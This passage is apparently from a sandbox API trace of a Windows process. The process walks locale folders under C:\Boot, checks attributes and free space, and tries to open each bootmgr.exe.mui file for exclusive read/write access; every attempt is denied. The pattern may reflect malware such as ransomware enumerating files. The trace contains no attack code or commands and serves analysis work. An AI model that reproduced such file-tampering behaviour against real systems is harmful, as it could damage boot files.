(normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.089] GetLastError () returned 0x5 [0151.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.089] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0151.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.090] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fr-FR", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.090] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0151.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.090] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0151.090] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.090] GetLastError () returned 0x5 [0151.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.090] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0151.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.091] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\hu-HU", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.091] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0151.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.091] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0151.091] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.091] GetLastError () returned 0x5 [0151.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.091] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.092] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\it-IT", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.092] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.092] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.092] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.092] GetLastError () returned 0x5 [0151.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.092] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0151.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.093] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ja-JP", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.093] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0151.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.093] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0151.093] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.093] GetLastError () returned 0x5 [0151.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.093] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0151.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.096] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ko-KR", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.097] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0151.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.097] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0151.097] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.097] GetLastError () returned 0x5 [0151.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.097] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0151.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.097] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nb-NO", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.098] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0151.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.098] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0151.098] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.098] GetLastError () returned 0x5 [0151.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.098] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.099] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nl-NL", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.099] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.099] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.099] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.099] GetLastError () returned 0x5 [0151.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.099] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.100] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pl-PL", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.100] 